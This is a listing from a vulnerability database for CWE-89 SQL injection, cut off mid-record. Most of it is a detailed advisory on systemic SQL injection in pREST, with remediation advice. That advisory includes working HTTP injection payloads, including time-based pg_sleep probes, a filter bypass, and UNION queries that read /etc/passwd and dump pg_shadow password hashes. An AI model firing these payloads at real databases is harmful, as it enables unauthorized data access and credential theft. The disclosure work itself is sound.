Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27430 vulnerabilities reference this CWE, most recent first.

GHSA-P46G-8C3Q-89P2

Vulnerability from github – Published: 2023-09-22 00:30 – Updated: 2023-09-25 21:42
VLAI
Summary
FUXA SQL Injection vulnerability
Details

FUXA <= 1.1.12 is vulnerable to SQL Injection via /api/signin.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fuxa-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-22T20:00:24Z",
    "nvd_published_at": "2023-09-22T00:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "FUXA \u003c= 1.1.12 is vulnerable to SQL Injection via `/api/signin`.",
  "id": "GHSA-p46g-8c3q-89p2",
  "modified": "2023-09-25T21:42:11Z",
  "published": "2023-09-22T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MateusTesser/CVE-2023-31719"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/frangoteam/FUXA"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/cjb2KYpV6dY"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FUXA SQL Injection vulnerability"
}

GHSA-P46V-F2X8-QP98

Vulnerability from github – Published: 2025-09-08 21:48 – Updated: 2025-09-10 21:05
VLAI
Summary
pREST has a Systemic SQL Injection Vulnerability
Details

Summary

pREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.

During an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version v2.0.0-rc2). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.

Core Endpoints

The main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints: - GET /{database}/{schema}/{table} - POST /{database}/{schema}/{table} - PUT|PATCH /{database}/{schema}/{table} - DELETE /{database}/{schema}/{table}

Handlers for the above endpoints execute very similar logic. At a high-level they: 1. Perform authentication and authorization 2. Build the SQL query based on the incoming request 3. Execute the query on the database 4. Return the data to the user

The query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.

As an example, let us look at the GET request or the read operation. After completing the authentication and authorization steps, the SelectFromTables function will first compile a list of all columns/fields, that will be returned in the HTTP response.

cols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, "read", userName)
// ---snip---
selectStr, err := config.PrestConf.Adapter.SelectFields(cols)

The SelectFields function will validate the requested columns using the chkInvalidIdentifier function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the id and task columns should be returned, the generated SQL will look something like:

SELECT "id", "task" FROM

The next step involves generating the table name, from which the data will be queried.

query := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)
// ...
func (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {
    return fmt.Sprintf(`%s "%s"."%s"."%s"`, selectStr, database, schema, table)
}

The SelectSQL function will receive the database, schema and table values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.

If we assume that the GET request is made to the following path /db001/api/todos, the resulting query will look similar to:

SELECT "id", "name" FROM "api"."todos"

This step performs processing on values, specifically schema and table, which do not undergo any input validation, and ultimately allow for SQL injection.


The description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue: - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L243 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L245 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L559 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L643 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1538 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1559 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1581 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1583 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1585 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1601 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1606 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1611 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1616 - https://github.com/prest/prest/blob/main/controllers/tables.go#L394 - https://github.com/prest/prest/blob/main/controllers/tables.go#L465

Reproduction

The reproduction steps require a working environment which can be set up using the instructions below.

With that, the issue can be verified using the following HTTP request:

GET /db001/api"."todos"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1
Host: localhost:3000

The value provided as the schema path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the pg_sleep() function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.

SELECT * FROM "db001"."api"."todos" where (select 1 from pg_sleep(5))=1

Missing Validation on tsquery Predicates

Users with permission to read data from tables have the ability to specify tsquery predicates, allowing them to perform more complex filtering on the data. An example usage of tsquery can be seen below:

GET /databases?datname:tsquery=prest HTTP/1.1
Host: localhost:3000

pREST will parse the request, and if it detects that a tsquery needs to be generated, the following code will be executed:

case "tsquery":
    tsQueryField := strings.Split(keyInfo[0], "$")
    tsQuery := fmt.Sprintf(`%s @@ to_tsquery('%s')`, tsQueryField[0], value)
    if len(tsQueryField) == 2 {
        tsQuery = fmt.Sprintf(`%s @@ to_tsquery('%s', '%s')`, tsQueryField[0], tsQueryField[1], value)
    }
    whereKey = append(whereKey, tsQuery)

In this example, the value of the value variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.

Reproduction

The reproduction steps require a working environment which can be set up using the instructions below.

With that, the issue can be verified using make the following HTTP request:

GET /databases?datname:tsquery=db001')+and+((select+'1'+from+pg_sleep(5))%3d'1 HTTP/1.1
Host: localhost:3000

As with the previous example, the request above will use Postgres' pg_sleep() function to delay the response for 5 seconds, proving the injection was successful.

Script Templates

pREST users can define templates for complex SQL queries, that can be reached using the /_QUERIES/{queriesLocation}/{script} endpoint. The scripts are read directly from the file system. Their content is passed to the text/template Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.

func ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {
    config.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)
    sqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)
    //---snip---
    templateData := make(map[string]interface{})
    extractHeaders(rq, templateData)
    extractQueryParameters(rq, templateData)
    sql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)
    //---snip---
    sc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)
    //---snip---
    return sc.Bytes(), nil
}

//...

func (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) {
    _, tplName := filepath.Split(scriptPath)

    funcs := &template.FuncRegistry{TemplateData: templateData}
    tpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())

    tpl, err = tpl.ParseFiles(scriptPath)
    //---snip---

    var buff bytes.Buffer
    err = tpl.Execute(&buff, funcs.TemplateData)
    //---snip---

    sqlQuery = buff.String()
    return
}

The text/template library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.

Reproduction

The reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the {{project_root}}/_active path as get_todo.read.sql.

SELECT * FROM api.todos WHERE id = {{.todo_id}}

Before running pREST, make sure the configuration specifies the script template's directory on the root of the project.

[queries]
location = ""

With that, the issue can be verified by simply making the following request:

GET /_QUERIES/_active/get_todo?todo_id=2%20or%20true HTTP/1.1
Host: localhost:3000

The todo_id value contains the value: 2 OR true in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:

SELECT * FROM api.todos WHERE id = 2 or true

This will ultimately return all values in from the target table.

Issues with the Current Validation

pREST implements input validation via the chkInvalidIdentifier function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes (") in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier.

The quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres' SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the chkInvalidIdentifier function, the following request can be made to the server:

GET /db001/api/todos?id"in(0)or(select"id"from"api.todos"where"id"in(1))in(1)or"id=1 HTTP/1.1
Host: localhost:3000

The request will ultimately execute the following SQL query:

SELECT jsonb_agg(s) FROM (SELECT * FROM "db001"."api"."todos" WHERE "id"in(0)or(select"id"from"api"."todos"where"id"in(1))in(1)or"id" = $1 ) s

The nested SELECT statement will impact the output returned to the user. If the nested query evaluates to true, the user will see all entries in the todos table. On the other hand, if the nested query evaluates to false, the user will only see the entry with its id column set to 1.

This injection path is ultimately limited by the validation preformed in chkInvalidIdentifier, which limits the size of identifiers to 62 characters.

if !strings.Contains(ival, ".") && len(ival) > 63 {
    return true
}

Impact

Critical. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.

In pREST's case, the query generation procedure will invoke the Prepare function from the sqlx ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.

However, nested queries and file access operations can be performed. The request shown below will read and return the contents of the /etc/passwd file.

GET /db001/api"."todos"%20union%20select%20pg_read_file(chr(47)||'etc'||chr(47)||'passwd'))%20s--/todos?_select=task HTTP/1.1
Host: localhost:3000

Note that using forward slashes (/) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using CHR(47). This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.

Nested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.

GET /db001/api"."todos"%20union%20select%20passwd%20from%20pg_shadow)%20s--/todos?_select=task HTTP/1.1
Host: localhost:3000

Finally, the pREST's official Docker container uses with the prest user the database to establish the database connection. This user does have "superuser" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.

Complexity

Low. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.

Remediation

The injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used sqlx library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.

Start off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (-) and underscores (_).

Also consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.

Finally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using sqlx. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself.

It is worth noting that the injection issue was pointed out by GHSA-wm25-j4gw-6vr3. However, the submitter did not highlight the impact which is likely why the issue was left unpatched.

Reproduction Environment Setup

The base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST Docker container. For simplicity, all reproduction steps assume that JWT-based authentication is disabled.

The database contains one table under the api namespace, named todos with the following schema:

CREATE TABLE api.todos (
  id int primary key generated by default as identity,
  done boolean not null default false,
  task text not null,
  due timestamptz
);

pREST can be ran using the following configuration:

debug = true

[http]
port = 3000

[jwt]
key = "secret"
algo = "HS256"

[auth]
enabled = false
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"

[pg]
host = "127.0.0.1"
user = "prest"
pass = "password"
port = 5432
database = "db001"
single = true

[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"

[expose]
enabled = true
databases = true
schemas = true
tables = true

[queries]
location = ""
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.0.0-rc2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prest/prest/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-08T21:48:26Z",
    "nvd_published_at": "2025-09-08T22:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "# Summary\npREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.\n\nDuring an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version `v2.0.0-rc2`). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.\n\n## Core Endpoints\nThe main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints:\n- `GET /{database}/{schema}/{table}` \n- `POST /{database}/{schema}/{table}` \n- `PUT|PATCH /{database}/{schema}/{table}` \n- `DELETE /{database}/{schema}/{table}` \n\nHandlers for the above endpoints execute very similar logic. At a high-level they:\n1. Perform authentication and authorization\n2. Build the SQL query based on the incoming request\n3. Execute the query on the database\n4. Return the data to the user\n\nThe query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.\n\nAs an example, let us look at the `GET` request or the read operation. After completing the authentication and authorization steps, the `SelectFromTables` function will first compile a list of all columns/fields, that will be returned in the HTTP response.\n```go\ncols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, \"read\", userName)\n// ---snip---\nselectStr, err := config.PrestConf.Adapter.SelectFields(cols)\n```\n\nThe `SelectFields` function will validate the requested columns using the `chkInvalidIdentifier` function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the `id` and `task` columns should be returned, the generated SQL will look something like:\n```sql\nSELECT \"id\", \"task\" FROM\n```\n\nThe next step involves generating the table name, from which the data will be queried.\n```go\nquery := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)\n// ...\nfunc (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {\n\treturn fmt.Sprintf(`%s \"%s\".\"%s\".\"%s\"`, selectStr, database, schema, table)\n}\n```\n\nThe `SelectSQL` function will receive the `database`, `schema` and `table` values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.\n\nIf we assume that the `GET` request is made to the following path `/db001/api/todos`, the resulting query will look similar to:\n```sql\nSELECT \"id\", \"name\" FROM \"api\".\"todos\"\n```\n\nThis step performs processing on values, specifically `schema` and `table`, which do not undergo any input validation, and ultimately allow for SQL injection.\n\n---\n\nThe description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue:\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L243\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L245\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L643\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1538\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1581\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1583\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1585\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1601\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1606\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1611\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1616\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L394\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L465\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using the following HTTP request:\n```http\nGET /db001/api\".\"todos\"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1\nHost: localhost:3000\n```\n\nThe value provided as the `schema` path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the `pg_sleep()` function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.\n\n```sql\nSELECT * FROM \"db001\".\"api\".\"todos\" where (select 1 from pg_sleep(5))=1\n```\n## Missing Validation on tsquery Predicates\nUsers with permission to read data from tables have the ability to specify `tsquery` predicates, allowing them to perform more complex filtering on the data. An example usage of `tsquery` can be seen below:\n```http\nGET /databases?datname:tsquery=prest HTTP/1.1\nHost: localhost:3000\n```\n\npREST will parse the request, and if it detects that a `tsquery` needs to be generated, the following code will be executed:\n```go\ncase \"tsquery\":\n\ttsQueryField := strings.Split(keyInfo[0], \"$\")\n\ttsQuery := fmt.Sprintf(`%s @@ to_tsquery(\u0027%s\u0027)`, tsQueryField[0], value)\n\tif len(tsQueryField) == 2 {\n\t\ttsQuery = fmt.Sprintf(`%s @@ to_tsquery(\u0027%s\u0027, \u0027%s\u0027)`, tsQueryField[0], tsQueryField[1], value)\n\t}\n\twhereKey = append(whereKey, tsQuery)\n```\n\nIn this example, the value of the `value` variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using make the following HTTP request:\n```http\nGET /databases?datname:tsquery=db001\u0027)+and+((select+\u00271\u0027+from+pg_sleep(5))%3d\u00271 HTTP/1.1\nHost: localhost:3000\n```\n\nAs with the previous example, the request above will use Postgres\u0027 `pg_sleep()` function to delay the response for 5 seconds, proving the injection was successful.\n## Script Templates\npREST users can define templates for complex SQL queries, that can be reached using the `/_QUERIES/{queriesLocation}/{script}` endpoint. The scripts are read directly from the file system. Their content is passed to the `text/template` Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.\n```go\nfunc ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {\n\tconfig.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)\n\tsqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)\n\t//---snip---\n\ttemplateData := make(map[string]interface{})\n\textractHeaders(rq, templateData)\n\textractQueryParameters(rq, templateData)\n\tsql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)\n\t//---snip---\n\tsc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)\n\t//---snip---\n\treturn sc.Bytes(), nil\n}\n\n//...\n\nfunc (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) {\n\t_, tplName := filepath.Split(scriptPath)\n\n\tfuncs := \u0026template.FuncRegistry{TemplateData: templateData}\n\ttpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())\n\n\ttpl, err = tpl.ParseFiles(scriptPath)\n\t//---snip---\n\n\tvar buff bytes.Buffer\n\terr = tpl.Execute(\u0026buff, funcs.TemplateData)\n\t//---snip---\n\t\n\tsqlQuery = buff.String()\n\treturn\n}\n```\n\nThe `text/template` library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the `{{project_root}}/_active` path as `get_todo.read.sql`. \n```sql\nSELECT * FROM api.todos WHERE id = {{.todo_id}}\n```\n\nBefore running pREST, make sure the configuration specifies the script template\u0027s directory on the root of the project.\n```toml\n[queries]\nlocation = \"\"\n```\n\nWith that, the issue can be verified by simply making the following request:\n```http\nGET /_QUERIES/_active/get_todo?todo_id=2%20or%20true HTTP/1.1\nHost: localhost:3000\n```\n\nThe `todo_id` value contains the value: `2 OR true` in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:\n```sql\nSELECT * FROM api.todos WHERE id = 2 or true\n```\nThis will ultimately return all values in from the target table.\n## Issues with the Current Validation\npREST implements input validation via the `chkInvalidIdentifier` function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes (`\"`) in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier. \n\nThe quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres\u0027 SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the `chkInvalidIdentifier` function, the following request can be made to the server:\n```http\nGET /db001/api/todos?id\"in(0)or(select\"id\"from\"api.todos\"where\"id\"in(1))in(1)or\"id=1 HTTP/1.1\nHost: localhost:3000\n```\n\nThe request will ultimately execute the following SQL query:\n```sql\nSELECT jsonb_agg(s) FROM (SELECT * FROM \"db001\".\"api\".\"todos\" WHERE \"id\"in(0)or(select\"id\"from\"api\".\"todos\"where\"id\"in(1))in(1)or\"id\" = $1 ) s\n```\n\nThe nested `SELECT` statement will impact the output returned to the user. If the nested query evaluates to `true`, the user will see all entries in the `todos` table. On the other hand, if the nested query evaluates to `false`, the user will only see the entry with its `id` column set to `1`.\n\nThis injection path is ultimately limited by the validation preformed in `chkInvalidIdentifier`, which limits the size of identifiers to 62 characters.\n```go\nif !strings.Contains(ival, \".\") \u0026\u0026 len(ival) \u003e 63 {\n\treturn true\n}\n```\n# Impact\n**Critical**. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.\n\nIn pREST\u0027s case, the query generation procedure will invoke the `Prepare` function from the `sqlx` ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.\n\nHowever, nested queries and file access operations can be performed. The request shown below will read and return the contents of the `/etc/passwd` file.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20pg_read_file(chr(47)||\u0027etc\u0027||chr(47)||\u0027passwd\u0027))%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nNote that using forward slashes (`/`) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using `CHR(47)`. This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.\n\nNested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20passwd%20from%20pg_shadow)%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nFinally, the pREST\u0027s official [Docker container ](https://hub.docker.com/r/prest/prest/) uses with the `prest` user the database to establish the database connection. This user does have \"superuser\" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.\n\n# Complexity\n**Low**. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.\n\n# Remediation\nThe injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used `sqlx` library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.\n\nStart off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (`-`) and underscores (`_`).\n\nAlso consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.\n\nFinally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using `sqlx`. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself. \n\nIt is worth noting that the injection issue was pointed out by [GHSA-wm25-j4gw-6vr3](https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3). However, the submitter did not highlight the impact which is likely why the issue was left unpatched.\n\n# Reproduction Environment Setup\nThe base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST [Docker container](https://hub.docker.com/r/prest/prest/). For simplicity, all reproduction steps assume that JWT-based authentication is disabled.\n\nThe database contains one table under the `api` namespace, named `todos` with the following schema:\n```sql\nCREATE TABLE api.todos (\n  id int primary key generated by default as identity,\n  done boolean not null default false,\n  task text not null,\n  due timestamptz\n);\n```\n\npREST can be ran using the following configuration:\n```toml\ndebug = true\n\n[http]\nport = 3000\n\n[jwt]\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = false\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nhost = \"127.0.0.1\"\nuser = \"prest\"\npass = \"password\"\nport = 5432\ndatabase = \"db001\"\nsingle = true\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"\"\n```",
  "id": "GHSA-p46v-f2x8-qp98",
  "modified": "2025-09-10T21:05:26Z",
  "published": "2025-09-08T21:48:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prest/prest"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pREST has a Systemic SQL Injection Vulnerability"
}

GHSA-P46V-V2VJ-2QFG

Vulnerability from github – Published: 2023-11-03 18:30 – Updated: 2026-04-28 15:30
VLAI
Details

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Groundhogg Inc. Groundhogg allows SQL Injection.This issue affects Groundhogg: from n/a through 2.7.11.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Groundhogg Inc. Groundhogg allows SQL Injection.This issue affects Groundhogg: from n/a through 2.7.11.",
  "id": "GHSA-p46v-v2vj-2qfg",
  "modified": "2026-04-28T15:30:32Z",
  "published": "2023-11-03T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34179"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/groundhogg/vulnerability/wordpress-groundhogg-plugin-2-7-10-3-sql-injection-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/groundhogg/wordpress-groundhogg-plugin-2-7-10-3-sql-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P474-5295-X67H

Vulnerability from github – Published: 2022-05-01 18:24 – Updated: 2022-05-01 18:24
VLAI
Details

SQL injection vulnerability in index.php in Agares Media Arcadem 2.01 allows remote attackers to execute arbitrary SQL commands via the blockpage parameter. NOTE: as of 20070827, the vendor has made conflicting statements regarding whether this issue exists or not.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-08-28T00:17:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in index.php in Agares Media Arcadem 2.01 allows remote attackers to execute arbitrary SQL commands via the blockpage parameter.  NOTE: as of 20070827, the vendor has made conflicting statements regarding whether this issue exists or not.",
  "id": "GHSA-p474-5295-x67h",
  "modified": "2022-05-01T18:24:46Z",
  "published": "2022-05-01T18:24:46Z",
  "references": [
    {
      "type": "ADVISORY",
